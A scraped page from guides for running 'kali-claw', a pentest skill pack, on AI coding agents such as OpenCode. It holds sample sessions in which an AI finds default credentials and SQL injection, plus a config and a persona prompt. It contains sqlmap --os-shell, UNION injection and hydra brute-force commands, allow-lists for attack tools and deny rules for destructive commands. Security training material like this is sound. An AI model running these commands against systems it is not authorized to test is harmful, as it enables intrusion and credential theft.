    Technologies: nginx/1.18.0, PHP 8.1, MySQL (inferred)

    4 live subdomains found. Next step: port scanning?

    Step 2 -- Scanning:

    You: Yes, scan all discovered subdomains

AI: Running nmap service detection on 4 hosts...

    Results:
    www.target.example.com:80    nginx/1.18.0, PHP 8.1
    www.target.example.com:443   TLS 1.2
    api.target.example.com:8080  Node.js Express
    admin.target.example.com:80  Apache Tomcat 9.0.50
    admin.target.example.com:8080 Tomcat manager (401)

    Notable findings:
    1. admin:8080 - Tomcat manager may have default credentials
    2. api:8080 - Node.js API, potential injection points
    3. dev - 403 Forbidden, might be worth investigating

    What would you like to investigate first?

    Step 3 -- Web Testing:

    You: Check admin.target.example.com for default credentials and test the API

AI: [Loads web-auth-bypass and api-security skills]

    Testing Tomcat manager for default credentials...
    - admin:admin       -> 401
    - tomcat:tomcat     -> 401
    - tomcat:s3cret     -> 200 OK! ACCESS GRANTED

    [!] Default credentials found: tomcat:s3cret
    [!] This allows WAR file deployment = remote code execution

    Testing API endpoint api.target.example.com:8080/api/users?id=1...
    - Single quote test: server error (500)
    - UNION injection: data returned

    [!] SQL injection confirmed on /api/users?id parameter

    How would you like to proceed?

    Step 4 -- Reporting:

    You: /project:report

AI: [Loads article-writing skill]

    # Penetration Test Report - target.example.com
    ## Date: 2026-05-18

    ### Executive Summary
    2 critical and 1 high-severity vulnerabilities identified.

    ### Findings

    | # | Finding | Severity | CVSS |
    |---|---------|----------|------|
    | 1 | Default Tomcat credentials | Critical | 9.8 |
    | 2 | SQL Injection on /api/users | Critical | 9.1 |
    | 3 | Exposed dev subdomain | Medium | 5.3 |

    ### Recommendations
    1. Change all default credentials immediately
    2. Implement parameterized queries
    3. Restrict access to admin interfaces

    Report saved to memory/2026-05-18.md

    6.2 Security Audit

    You: /project:web-audit http://testphp.vulnweb.com

AI: [Loads all web security skill contexts]

    Running systematic OWASP Top 10 audit...

    Phase 1: Information Gathering
    - Server: nginx/1.18.0
    - Backend: PHP
    - Forms found: login, search, signup

    Phase 2: Injection Testing
    - SQL Injection: [!] search field vulnerable to UNION-based SQLi
    - XSS: [!] Reflected XSS in search results
    - Command Injection: [OK] Not found

    Phase 3: Authentication
    - Brute force protection: None
    - Session management: Predictable session IDs
    - Access control: IDOR on /user.php?id= parameter

    Phase 4: Configuration
    - Directory listing: Enabled on /uploads/
    - Security headers: Missing X-Frame-Options, CSP

    Summary: 2 Critical, 2 High, 3 Medium findings

    6.3 Learning and Research

    You: /project:learn-tool sqlmap

AI: [Loads web-sqli skill context and TOOLS.md]

    ## sqlmap Learning Path

    ### Quick Start
    ```bash
    sqlmap -u "http://target/page?id=1" --batch --dbs
    ```

    ### Key Options
    | Option | Purpose |
    |--------|---------|
    | -u URL | Target URL |
    | --dbs | Enumerate databases |
    | --tables | Enumerate tables |
    | --batch | Non-interactive mode |
    | --tamper | WAF bypass scripts |
    | --os-shell | Get OS shell |
    | --level 5 | Aggressive testing |

    ### Practical Examples (from payloads.md)
    1. Basic detection: sqlmap -u "URL?id=1" --batch
    2. With POST data: sqlmap -u "URL" --data="user=admin&pass=test"
    3. WAF bypass: sqlmap -u "URL" --tamper=space2comment
    4. OS shell: sqlmap -u "URL" --os-shell

    ### Test Cases for Practice
    - TC-S001: GET parameter injection detection
    - TC-S003: UNION column count and echo position
    - TC-S009: WAF bypass testing

    Current mastery: Learning (from TOOLS.md)
    Next steps: Practice TC-S001 through TC-S005

    6.4 Report Generation

    You: Generate a vulnerability report for today's findings on target.example.com

AI: [Loads article-writing and chronicle skills]

    Based on today's session, here are the findings:

    # Security Assessment Report
    ## Target: target.example.com
    ## Date: 2026-05-18
    ## Scope: External infrastructure assessment

    ### Finding 1: Default Tomcat Credentials
    - **Severity**: Critical (CVSS 9.8)
    - **Component**: admin.target.example.com:8080
    - **Description**: Apache Tomcat manager interface uses default
      credentials (tomcat:s3cret)
    - **Impact**: Remote code execution via WAR deployment
    - **Remediation**: Change credentials, restrict access by IP,
      disable manager app in production

    ### Finding 2: SQL Injection
    - **Severity**: Critical (CVSS 9.1)
    - **Component**: api.target.example.com:8080/api/users?id
    - **Description**: UNION-based SQL injection in id parameter
    - **Impact**: Full database access, potential OS command execution
    - **Remediation**: Use parameterized queries, implement WAF

    ### Risk Rating: HIGH
    Two critical findings require immediate remediation.

    7. FAQ

    Q1: What is the relationship between OpenCode and Crush?

    Answer: OpenCode (github.com/opencode-ai/opencode) has been archived and continues as Crush (github.com/charmbracelet/crush), developed by the original author and the Charm team. Both use the same configuration format (.opencode.json), the same contextPaths mechanism, and the same MCP protocol. The instructions in this guide apply to both. When Crush introduces changes, update the config file accordingly.

    Q2: Do I need to modify files in skills/ to use them with OpenCode?

    Answer: No. kali-claw skills are plain Markdown files. OpenCode reads Markdown files natively through its project instructions system. Migration means configuring OpenCode to read these files, not converting or modifying them. The skills/ directory remains exactly as it is.

    Q3: Can I use OpenCode without Kali Linux?

    Answer: Yes, with limitations. Without Kali Linux, you can still use kali-claw for:

    • Reading skill files and learning security methodology
    • Research and planning
    • Report generation
    • Code review and security audit guidance

    You cannot execute security tools like nmap, sqlmap, or hydra without a Kali Linux environment. Use SSH or Docker (see Section 2.2) to connect to a remote Kali instance.

    Q4: How do contextPaths work?

    Answer: OpenCode reads files listed in contextPaths as project-level instructions at session start. These files are loaded into the AI model's context, giving it knowledge about your project. By listing kali-claw files like SOUL.md, IDENTITY.md, and TOOLS.md in contextPaths, the AI model automatically knows about kali-claw's identity, hacker laws, skill domains, and tool knowledge.

    The default contextPaths include CLAUDE.md, OPENCODE.md, and several case variations. You can add any file path relative to the project root.

    Q5: Can I use a different AI model for security tasks?

    Answer: Yes. OpenCode supports models from Anthropic, OpenAI, Google, Groq, OpenRouter, GitHub Copilot, AWS Bedrock, Azure OpenAI, and self-hosted endpoints. You can switch models at runtime with Ctrl+O.

    For security tasks, we recommend Claude Sonnet 4 or Claude 3.7 Sonnet due to their strong reasoning capabilities. For cost-sensitive work, Gemini 2.5 Flash via OpenRouter is a good alternative.

    Q6: How do I add a new custom command?

    Answer: Create a Markdown file in .opencode/commands/ (for project-level commands) or ~/.config/opencode/commands/ (for user-level commands). The file name becomes the command ID. Use $VARIABLE_NAME placeholders for arguments.

    # Create a new command
echo '# My Custom Command\nRUN echo "Hello $NAME"' > .opencode/commands/hello.md

# The command appears as "project:hello" in the command dialog (Ctrl+K)

    Q7: What happens when context gets too long?

    Answer: OpenCode has an auto-compact feature (enabled by default) that automatically summarizes your conversation when it reaches 95% of the model's context window. This creates a new session with the summary, allowing you to continue without losing context.

    You can also manually trigger compaction using the built-in "Compact Session" command via Ctrl+K.

    Q8: How do I use OpenCode in non-interactive mode?

    Answer: Use the -p flag to run a single prompt and get the result in the terminal:

    # Quick query
opencode -p "What SQL injection types does kali-claw cover?"

# JSON output for scripting
opencode -p "List all skill domains in kali-claw" -f json

# Quiet mode (no spinner)
opencode -p "Read skills/web-sqli/SKILL.md and list the tools" -q

    This is useful for automation, scripting, and CI/CD integration.

    Q9: How do MCP servers differ from using the bash tool?

    Answer: Both approaches let the AI execute commands, but MCP servers offer advantages:

    FeatureBash ToolMCP Server
    Input validationNone (raw commands)Structured schema validation
    Output formatRaw textStructured, parseable
    Error handlingBasicCustom error messages
    SafetyUser approval per commandSchema-level constraints
    ReusabilityOne-off commandsReusable across sessions

    For simple tasks, the bash tool is sufficient. For frequent, structured operations like nmap scans, MCP servers provide better safety and consistency.

    Q10: Can I run OpenCode alongside OpenClaw or Claude Code?

    Answer: Yes. All three tools are independent. They read the same kali-claw files but do not interfere with each other:

    • OpenCode reads .opencode.json and contextPaths
    • Claude Code reads CLAUDE.md and uses agents/rules
    • OpenClaw reads AGENTS.md and its gateway system

    You can use all three interchangeably on the same kali-claw workspace.

    Q11: How do I update kali-claw skills when new versions are released?

    Answer: Pull the latest changes from the git repository:

    cd kali-claw
git pull origin main

# If you have local modifications (custom OPENCODE.md, etc.):
git stash
git pull origin main
git stash pop

    Your .opencode.json, OPENCODE.md, and custom commands are local files that will not be overwritten by git pull.

    8. Architecture Comparison

    Component Mapping: kali-claw to OpenCode

    kali-claw ComponentOpenCode EquivalentHow It Works
    SOUL.mdcontextPaths entryLoaded as project instruction at session start
    USER.mdcontextPaths entryLoaded as project instruction at session start
    IDENTITY.mdcontextPaths entryLoaded as project instruction at session start
    TOOLS.mdcontextPaths entryLoaded as project instruction at session start
    MEMORY.mdcontextPaths entryLoaded as project instruction at session start
    AGENTS.mdPart of OPENCODE.mdSession startup sequence defined in project instructions
    CLAUDE.mdDefault contextPaths entryAutomatically loaded by OpenCode
    skills/*/SKILL.mdRead on demand via view toolAI reads specific skills when needed
    skills/*/payloads.mdRead on demand via view toolAI reads payloads when user asks
    skills/*/test-cases.mdRead on demand via view toolAI reads test cases when user asks
    skills/*/guides/Read on demand via view toolAI reads guides for deep-dive topics
    HEARTBEAT.mdNot directly supportedUse cron + opencode -p for periodic tasks
    memory/YYYY-MM-DD.mdOpenCode session storageOpenCode stores sessions in SQLite
    chronicle/Not directly supportedAccess manually via view tool
    Custom ECC orchestrationCustom commandsPredefined prompts with $VARIABLES

    Framework Comparison

    FeatureOpenClawClaude CodeOpenCode
    LanguageTypeScript/Node.jsTypeScript/Node.jsGo
    Installnpm install -g openclawnpm install -g @anthropic-ai/claude-codego install or brew install
    Config file~/.openclaw/~/.claude/.opencode.json
    Project instructionsAGENTS.md startupCLAUDE.mdOPENCODE.md + contextPaths
    Custom commandsECC patternsAgents + Rules.opencode/commands/
    Tool integrationTerminal commandsBash tool + MCPBash tool + MCP
    Model supportSingle providerAnthropic onlyMultiple providers
    Session storageMarkdown files~/.claude/projects/SQLite database
    Memory systemFile hierarchyFile systemSession storage + auto-compact
    TUINo (gateway)Yes (CLI)Yes (Bubble Tea TUI)
    LSP supportNoNoYes
    Auto compactNoYesYes
    Non-interactive modeNoYes (-p flag)Yes (-p flag)
    Open sourceYesNoYes (MIT)
    CostFree + API costsSubscriptionFree + API costs

    Skill Count Reference

    kali-claw includes 137 security skill domains organized into six categories:

    Attack Skills (17): web-sqli, web-xss, web-ssrf, web-auth-bypass, web-access-control, api-security, network-pentest, password-attack, post-exploitation, wifi-pentest, binary-reverse, crypto-attacks, mobile-security, social-engineering, hardware-security, supply-chain-security, insecure-design

    Defense Skills (8): security-review, verification-loop, docker-patterns, safety-guard, security-misconfiguration, vulnerability-assessment, logging-monitoring, container-security

    Knowledge Skills (8): osint, recon-osint, deep-research, search-first, repo-scan, exa-search, data-scraper-agent, knowledge-ops

    Meta Skills (6): autonomous-loops, multi-agent-collaboration, council, chronicle, continuous-learning, codebase-onboarding

    Infrastructure (6): terminal-ops, mcp-server-patterns, browser-qa, article-writing, ai-fuzzing, ai-security

    Specialized (4): digital-forensics, cloud-security, security-bounty-hunter, social-intelligence

    Quick Reference: OpenCode Keyboard Shortcuts

    ShortcutAction
    Ctrl+KOpen command dialog (access custom commands)
    Ctrl+OSwitch AI model
    Ctrl+NNew session
    Ctrl+ASwitch session
    Ctrl+CQuit
    Ctrl+LView logs
    Ctrl+SSend message (in editor)
    Ctrl+EOpen external editor
    Ctrl+XCancel current operation
    iFocus editor (when not editing)
    EscClose overlay or exit editing

    This guide covers kali-claw v0.2.1 usage with OpenCode. For the latest updates, visit the kali-claw repository and the OpenCode repository. Note: OpenCode has been archived and continues as Crush by the Charm team.

  • kali-claw-pentest-agent/GUIDE-OPENCODE-zh.mdmarkdown · 102.0 KB

    kali-claw 技能包使用指南：在 OpenCode 上运行

    ⚠️ 更新说明（2026-08-08）：本指南已更新至 kali-claw v0.2.4（Phase 2 Track 1 Minor Release）。主要变化：

    • 139 个技能域（v0.2.4 新增 eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack；早期版本为 49/111/130/137）
    • 全部 139 个 SKILL 达到 v0.2.0.2 标准（v0.2.4 起），含完整 Defense Triple — 100% 覆盖
    • 新增 7 个战略 SKILL：ai-safety-redteam-advanced、identity-provider-attack、data-loss-prevention-bypass、edge-computing-security、quantum-cryptography-transition、hardware-side-channel-advanced、5g-6g-telecom-attack-advanced
    • 生成 6 个文档：SKILL_HANDBOOK、QUICK_REFERENCE、SKILL_INDEX.json、DOMAIN_MATRIX、TOOLS_LIFECYCLE、SKILL_MAINTENANCE
    • 5 个自动化脚本：skill-lint.py、validate-payloads.py、validate-testcases.py、GitHub Actions CI/CD、update-skill-standard.py
    • v0.2.4 关键变化：MAJOR 工具升级修复（frida 17 / hashcat 7 / docker 29）；Defense Perspective 内容质量改进；2 个新 SKILL 落地
    • skill-lint 0 errors / 0 warnings, 139/139 clean pass（v0.2.3 起）
    • 详见 RELEASE-v0.2.4.md（最新）；历史：RELEASE-v0.2.1.md

    本指南中关于 agent 工具的命令和配置步骤仍然准确，仅更新了 kali-claw 侧的元数据。

    面向 kali-claw v0.2.1 + OpenCode 最新版 | 从零开始，手把手教你将 kali-claw 技能包迁移到 OpenCode 平台

    一、概述

    1.1 OpenCode 是什么

    OpenCode 是一个开源、终端式的 AI 编码智能体，使用 Go 语言编写。它提供文本用户界面（TUI），可以理解、编辑和执行代码项目。

    核心能力：

    kali-claw 技能包使用指南：在 OpenCode 上运行

    面向 kali-claw v0.2.1 + OpenCode 最新版 | 从零开始，手把手教你将 kali-claw 技能包迁移到 OpenCode 平台

    一、概述

    1.1 OpenCode 是什么

    OpenCode 是一个开源、终端式的 AI 编码智能体，使用 Go 语言编写。它提供文本用户界面（TUI），可以理解、编辑和执行代码项目。

    核心能力：

    • 多 AI 提供商支持 — OpenAI、Anthropic、Google、Ollama 本地模型，模型无关设计
    • 项目级配置 — 通过 opencode.json 定义模型、指令、命令、MCP 工具
    • 指令文件系统 — 读取 AGENTS.md 等项目文件作为 AI 行为指南
    • MCP 工具集成 — 支持 Model Context Protocol，扩展 AI 能力边界
    • 自定义命令 — 定义常用操作的快捷命令
    • 终端 TUI 界面 — 实时交互，文件编辑，Shell 命令执行

    1.2 与其他 AI 编码平台的对比

    特性OpenClawClaude CodeOpenCodeCodex CLICursor
    开源是否是是否
    模型支持Claude仅 Claude多模型OpenAI多模型
    运行方式网关服务CLI + TUITUICLIIDE 插件
    MCP 支持否是是否否
    项目指令MD 文件CLAUDE.mdAGENTS.md + 自定义无.cursorrules
    自定义命令无无有无无
    安装方式npmnpmGo / 脚本npm桌面应用
    语言TypeScriptTypeScriptGoTypeScriptElectron

    为什么选择 OpenCode：

    • 完全开源 — 可审计、可定制、无供应商锁定
    • 模型无关 — 不绑定单一 AI 提供商，随时切换
    • MCP 生态 — 通过 MCP 协议接入安全工具（nmap、sqlmap 等）
    • Go 高性能 — 编译为单一二进制，启动快，资源占用低
    • 自定义命令 — 可预定义渗透测试流程命令

    1.3 kali-claw 技能包如何适配 OpenCode

    kali-claw 的技能包是纯 Markdown 文件，不依赖任何特定框架。OpenCode 可以通过项目级配置读取这些文件，让 AI 理解和使用 kali-claw 的完整知识体系。

    关键适配点：

    kali-claw 组件OpenCode 对应说明
    SOUL.md项目指令文件提取核心身份和黑客法则写入项目指令
    AGENTS.mdOpenCode AGENTS.mdOpenCode 原生支持读取 AGENTS.md
    skills/*/SKILL.md项目文件（按需读取）AI 可直接读取，无需修改
    skills/*/payloads.md项目文件（按需读取）AI 可直接读取，无需修改
    skills/*/test-cases.md项目文件（按需读取）AI 可直接读取，无需修改
    skills/*/guides/项目文件（按需读取）AI 可直接读取，无需修改

    核心原则：skills/ 目录中的所有文件保持原位，不做任何修改。迁移是指配置 OpenCode 来读取和使用这些现有文件。

    1.4 三种迁移策略

    根据你的时间预算和需求深度，选择合适的迁移方式：

    策略耗时适合场景你将获得
    最小迁移5 分钟快速体验、临时使用基本 AI + kali-claw 文件访问
    标准迁移30 分钟日常使用、渗透测试完整角色定义 + 技能索引 + 安全边界
    完整迁移2 小时专业团队、生产环境MCP 工具集成 + 自定义命令 + 多模型

    二、环境准备

    2.1 安装 OpenCode

    方式一：官方安装脚本（推荐）

    curl -fsSL https://opencode.ai/install | bash

    方式二：Go install

    go install github.com/opencode-ai/opencode@latest

    方式三：手动下载二进制

    # Linux (amd64)
curl -fsSL https://github.com/opencode-ai/opencode/releases/latest/download/opencode-linux-amd64 -o /usr/local/bin/opencode
chmod +x /usr/local/bin/opencode

# Linux (arm64)
curl -fsSL https://github.com/opencode-ai/opencode/releases/latest/download/opencode-linux-arm64 -o /usr/local/bin/opencode
chmod +x /usr/local/bin/opencode

# macOS (Apple Silicon)
curl -fsSL https://github.com/opencode-ai/opencode/releases/latest/download/opencode-darwin-arm64 -o /usr/local/bin/opencode
chmod +x /usr/local/bin/opencode

# macOS (Intel)
curl -fsSL https://github.com/opencode-ai/opencode/releases/latest/download/opencode-darwin-amd64 -o /usr/local/bin/opencode
chmod +x /usr/local/bin/opencode

    验证安装

    opencode --version

    2.2 配置 AI 提供商

    OpenCode 支持多种 AI 提供商。选择你需要的一个或多个进行配置：

    Anthropic（推荐用于安全任务）

    export ANTHROPIC_API_KEY="sk-ant-your-key-here"

    OpenAI

    export OPENAI_API_KEY="sk-your-key-here"

    本地 Ollama（离线场景）

    # 安装 Ollama
curl -fsSL https://ollama.com/install.sh | sh

# 拉取模型
ollama pull llama3
ollama pull codellama

# 无需 API key，Ollama 默认监听 localhost:11434

    提示：建议将 API Key 写入 shell 配置文件（~/.zshrc 或 ~/.bashrc）使其持久化：

    echo 'export ANTHROPIC_API_KEY="sk-ant-..."' >> ~/.zshrc
source ~/.zshrc

    2.3 准备 Kali Linux 环境

    kali-claw 的安全工具需要在 Kali Linux 上运行。选择以下方案之一：

    方案一：本机 Kali Linux（最佳体验）

    # 直接在 Kali Linux 上操作，无需额外配置
uname -a  # 确认是 Kali Linux

    方案二：通过 SSH 连接远程 Kali

    # 在本地机器上配置 SSH 免密登录
ssh-keygen -t ed25519
ssh-copy-id user@kali-server-ip

# 测试连接
ssh user@kali-server-ip "nmap --version"

    方案三：Docker 容器（推荐用于隔离测试）

    # 拉取 Kali Docker 镜像
docker pull kalilinux/kali-rolling

# 启动容器并安装安全工具
docker run -it --name kali-claw-env kalilinux/kali-rolling /bin/bash
apt update && apt install -y nmap sqlmap nikto hydra metasploit-framework

# 后续连接
docker start -ai kali-claw-env

    2.4 克隆 kali-claw 工作空间

    # 克隆到你的工作目录
git clone https://github.com/<repo-path>.git ~/kali-claw
cd ~/kali-claw

# 确认目录结构
ls -la
# 应该看到: SOUL.md  AGENTS.md  IDENTITY.md  USER.md  MEMORY.md  TOOLS.md  HEARTBEAT.md  skills/  memory/  chronicle/

    三、方式一：最小迁移（5 分钟）

    如果你只想快速体验 kali-claw 技能包在 OpenCode 上的效果，这是最快的方式。

    3.1 启动 OpenCode

    cd ~/kali-claw
opencode

    OpenCode 会在当前目录启动 TUI 界面，并自动检测项目文件。

    3.2 使用示例

    启动后，在 OpenCode 的输入框中直接输入指令。以下是几个多轮对话示例：

    示例一：SQL 注入测试

    你: 请读取 skills/web-sqli/SKILL.md，然后帮我制定一个针对 DVWA 靶场的 SQL 注入测试计划。

AI: [读取 skills/web-sqli/SKILL.md 文件后]
    根据 kali-claw 的 SQL 注入技能，以下是 DVWA 测试计划：

    1. **检测注入点**：在 User ID 输入框测试单引号 `1'`
    2. **判断列数**：`1' ORDER BY N-- -`
    3. **UNION 注入**：`1' UNION SELECT 1,2-- -`
    4. **提取数据**：获取数据库版本、表名、用户数据

    详细 payload 参见 skills/web-sqli/payloads.md

你: 很好，请读取 payloads.md，给我 DVWA Low 级别的完整测试命令。

AI: [读取 skills/web-sqli/payloads.md 后]
    DVWA Low 级别（无过滤）测试命令：

    # 检测注入
    curl "http://target/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit" \
      --cookie "security=low; PHPSESSID=xxx"

    # 列数判断
    curl "http://target/dvwa/vulnerabilities/sqli/?id=1' ORDER BY 2-- -&Submit=Submit" \
      --cookie "security=low; PHPSESSID=xxx"

    # UNION 注入提取用户
    curl "http://target/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT user,password FROM users-- -&Submit=Submit" \
      --cookie "security=low; PHPSESSID=xxx"

    示例二：网络渗透

    你: 读取 skills/network-pentest/SKILL.md，对 192.168.1.0/24 网段进行侦察。

AI: [读取技能文件后]
    根据 kali-claw 网络渗透方法论，侦察阶段如下：

    # 第一步：主机发现
    sudo arp-scan -l
    # 或者
    nmap -sn 192.168.1.0/24

    # 第二步：端口扫描（对发现的主机）
    nmap -sV -sC -O 192.168.1.100

    # 第三步：服务枚举
    enum4linux -a 192.168.1.100

    需要我执行这些命令吗？注意：我只在授权范围内操作。

你: 执行第一步和第二步。

AI: [执行命令并返回结果]
    ...

    示例三：学习安全工具

    你: 读取 skills/password-attack/SKILL.md，教我如何使用 hydra 进行密码审计。

AI: [读取技能文件后]
    根据 kali-claw 密码攻击技能，hydra 使用方法如下：

    ## 基础语法
    hydra -l <用户名> -P <字典文件> <目标> <协议>

    ## FTP 密码审计
    hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100

    ## SSH 密码审计
    hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

    ## HTTP POST 表单
    hydra -l admin -P wordlist.txt 192.168.1.100 http-post-form \
      "/login:user=^USER^&pass=^PASS^:Invalid login"

    详细 payload 参见 skills/password-attack/payloads.md

    3.3 局限性

    最小迁移的局限：

    • 无持久角色 — AI 不知道自己是 kali-claw，每次需要手动指定读取技能文件
    • 无安全边界 — 不会自动遵循 12 条黑客法则和操作边界
    • 无技能索引 — AI 不知道有哪些技能域可用，需要你手动指定路径
    • 无自动加载 — 不会自动读取 SOUL.md 和 MEMORY.md

    如果你需要更完整的体验，请继续阅读"标准迁移"。

    四、方式二：标准迁移（30 分钟）

    标准迁移通过配置 opencode.json 和项目指令文件，让 OpenCode 自动理解 kali-claw 的角色、技能体系和安全边界。

    4.1 创建 opencode.json 配置

    在 kali-claw 项目根目录创建 opencode.json：

    {
  "$schema": "https://opencode.ai/config.json",
  "model": "anthropic/claude-sonnet-4-20250514",
  "small_model": "anthropic/claude-3-5-haiku-latest",
  "default_agent": "kali-claw",
  "shell": "/bin/bash",
  "logLevel": "INFO",
  "share": "disabled",
  "autoupdate": "notify",
  "snapshot": true,
  "instructions": [
    "AGENTS.md",
    ".opencode/instructions.md"
  ],

  "agent": {
    "kali-claw": {
      "model": "anthropic/claude-sonnet-4-20250514",
      "description": "kali-claw 渗透测试工程师 — 掌握全部 518 个 Kali Linux 安全工具的高级智能体",
      "permission": {
        "edit": "ask",
        "bash": {
          "nmap *": "allow",
          "sqlmap *": "allow",
          "nikto *": "allow",
          "hydra *": "allow",
          "curl *": "allow",
          "dig *": "allow",
          "whois *": "allow",
          "whatweb *": "allow",
          "gobuster *": "allow",
          "dirb *": "allow",
          "wpscan *": "allow",
          "enum4linux *": "allow",
          "arp-scan *": "allow",
          "tcpdump *": "ask",
          "msfconsole *": "ask",
          "bettercap *": "ask",
          "responder *": "ask",
          "rm *": "deny",
          "*": "ask"
        }
      }
    },
    "kali-claw-audit": {
      "model": "anthropic/claude-sonnet-4-20250514",
      "description": "kali-claw 安全审计模式 — 只读分析，不执行攻击操作",
      "permission": {
        "edit": "deny",
        "bash": {
          "nmap *": "allow",
          "sqlmap *": "allow",
          "curl *": "allow",
          "dig *": "allow",
          "whois *": "allow",
          "whatweb *": "allow",
          "cat *": "allow",
          "head *": "allow",
          "ls *": "allow",
          "rm *": "deny",
          "*": "ask"
        }
      }
    }
  },

  "command": {
    "recon": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/osint/SKILL.md，对以下目标执行信息收集和侦察：\n\n目标：$ARGUMENTS\n\n按照 kali-claw 攻击链方法论执行：\n1. 被动信息收集（OSINT）\n2. 主动扫描（端口/服务识别）\n3. 结果汇总\n\n注意：仅在授权范围内操作。",
      "description": "对目标执行侦察（OSINT + 网络扫描）"
    },
    "web-pentest": {
      "template": "读取以下技能文件，对目标执行 Web 渗透测试：\n- skills/web-sqli/SKILL.md\n- skills/web-xss/SKILL.md\n- skills/web-ssrf/SKILL.md\n- skills/web-auth-bypass/SKILL.md\n- skills/web-access-control/SKILL.md\n\n目标：$ARGUMENTS\n\n按照攻击链执行：\n1. 技术栈指纹识别\n2. SQL 注入测试\n3. XSS 测试\n4. SSRF 测试\n5. 认证绕过测试\n6. 访问控制测试\n7. 生成测试报告",
      "description": "对目标执行 Web 应用渗透测试"
    },
    "sqli": {
      "template": "读取 skills/web-sqli/SKILL.md 和 skills/web-sqli/payloads.md，对目标执行 SQL 注入测试。\n\n目标：$ARGUMENTS\n\n执行完整的 SQL 注入测试流程：\n1. 注入点检测\n2. 数据库指纹识别\n3. 注入类型判断\n4. 数据提取\n5. 生成测试报告",
      "description": "对目标执行 SQL 注入测试"
    },
    "network-attack": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/network-pentest/payloads.md，对目标网络执行渗透测试。\n\n目标：$ARGUMENTS\n\n按照完整攻击链执行：\n1. 网络发现\n2. 端口扫描\n3. 服务指纹识别\n4. 漏洞评估\n5. 漏洞利用（仅在授权范围内）\n6. 后渗透检查\n7. 生成报告",
      "description": "对目标网络执行渗透测试"
    },
    "password-audit": {
      "template": "读取 skills/password-attack/SKILL.md 和 skills/password-attack/payloads.md，对目标执行密码安全审计。\n\n目标：$ARGUMENTS\n\n执行密码审计流程：\n1. 服务识别（确定协议类型）\n2. 字典选择\n3. 在线密码测试\n4. 离线哈希破解（如有哈希）\n5. 密码强度分析\n6. 生成审计报告",
      "description": "对目标执行密码安全审计"
    },
    "learn": {
      "template": "读取以下技能文件，为我详细讲解该安全领域的知识：\n\n技能：$ARGUMENTS\n\n请覆盖以下内容：\n1. 领域概述和核心概念\n2. 常见攻击技术和原理\n3. 防御策略\n4. 工具使用方法和实战示例\n5. 练习建议和靶场推荐",
      "description": "学习某个安全技能领域（如：web-sqli、network-pentest、password-attack）"
    },
    "security-review": {
      "template": "读取 skills/security-review/SKILL.md 和 skills/repo-scan/SKILL.md，对目标项目执行安全代码审查。\n\n目标：$ARGUMENTS\n\n执行安全审查流程：\n1. OWASP Top 10 检查清单\n2. 源码安全扫描\n3. 依赖项漏洞检查\n4. 密钥/凭据泄露检测\n5. 注入漏洞检查\n6. 认证/授权审查\n7. 生成安全审查报告",
      "description": "对项目执行安全代码审查"
    }
  },

  "provider": {
    "anthropic": {
      "options": {
        "apiKey": "{env:ANTHROPIC_API_KEY}"
      }
    }
  },

  "permission": {
    "edit": "ask",
    "bash": {
      "rm *": "deny",
      "rm -rf *": "deny",
      "mkfs *": "deny",
      "dd *": "deny",
      "*": "ask"
    }
  },

  "tool_output": {
    "max_lines": 2000,
    "max_bytes": 51200
  },

  "compaction": {
    "auto": true,
    "tail_turns": 15
  }
}

    4.2 创建项目指令文件

    创建 .opencode/instructions.md 文件，将 kali-claw 的核心身份信息注入 OpenCode：

    mkdir -p ~/kali-claw/.opencode

    然后创建 .opencode/instructions.md，内容如下：

    # kali-claw Agent Instructions

## Identity

You are **kali-claw**, a Senior Penetration Testing Engineer. You master all 518 Kali Linux
security tools across 49 security domains. Your runtime environment is Kali Linux.

## Behavioral Principles (12 Hacker Laws)

Follow these laws as guiding principles in every task:

1. **First Principles Thinking** — Break problems down to fundamental facts. Question every
   "obvious" assumption.
2. **Divergent Thinking First** — Think of at least 3 solutions for every problem, then pick
   the best.
3. **Minimize Attack Surface** — Less exposure means less risk. Every open port, service, and
   interface is a potential entry point.
4. **Defense in Depth** — Never rely on a single layer of defense.
5. **Least Privilege** — Grant only the access that is necessary.
6. **Assume Breach** — Design systems assuming the attacker is already inside.
7. **Obscurity Is Not Security** — Security comes from design and verification, not from hiding.
8. **Trust but Verify** — Don't trust any input. Verify everything.
9. **Information Wants to Be Free** — Share knowledge, protect sensitive data.
10. **Skill Over Credentials** — Judge by capability, not by title.
11. **The Weakest Link Is Human** — Always consider the human factor.
12. **Murphy's Security Law** — If it can be exploited, it will be exploited.

## Skill Domain Index

You have access to 139 security skill domains under the `skills/` directory. Each skill
contains SKILL.md (definition), payloads.md (attack payloads), test-cases.md (test templates),
and guides/ (deep-dive materials).

When a user asks about a security topic, read the relevant SKILL.md file first, then consult
payloads.md and test-cases.md as needed.

| Domain | Directory | Description |
|--------|-----------|-------------|
| SQL Injection | skills/web-sqli/ | Union, blind, error, double query, WAF bypass |
| XSS | skills/web-xss/ | Reflected, stored, DOM-based, CSP bypass |
| SSRF | skills/web-ssrf/ | Internal scanning, cloud metadata, protocol smuggling |
| Auth Bypass | skills/web-auth-bypass/ | Brute force, session attacks, OAuth flaws |
| Access Control | skills/web-access-control/ | IDOR, privilege escalation, forced browsing |
| Network Pentest | skills/network-pentest/ | Scanning, exploitation, lateral movement |
| OSINT | skills/osint/ | People search, domain recon, data aggregation |
| Recon + OSINT | skills/recon-osint/ | Subdomain enum, port scanning, tech fingerprinting |
| Password Attack | skills/password-attack/ | Dictionary, rule-based, hash cracking |
| Post-Exploitation | skills/post-exploitation/ | Persistence, privilege escalation, exfiltration |
| WiFi Pentest | skills/wifi-pentest/ | WPA cracking, WPS attacks, evil twin |
| Binary Analysis | skills/binary-reverse/ | radare2, exploit development, malware analysis |
| Cloud Security | skills/cloud-security/ | AWS/Azure/GCP, IAM, S3 exposure |
| Container Security | skills/container-security/ | Docker escape, K8s RBAC, image scanning |
| Mobile Security | skills/mobile-security/ | Android/iOS testing, cert pinning, data leakage |
| Crypto Attacks | skills/crypto-attacks/ | Weak algorithms, padding oracle, certificate issues |
| Digital Forensics | skills/digital-forensics/ | Disk analysis, memory forensics, network forensics |
| Social Engineering | skills/social-engineering/ | Phishing, pretexting, baiting |
| Supply Chain | skills/supply-chain-security/ | Dependency attacks, CI/CD poisoning |
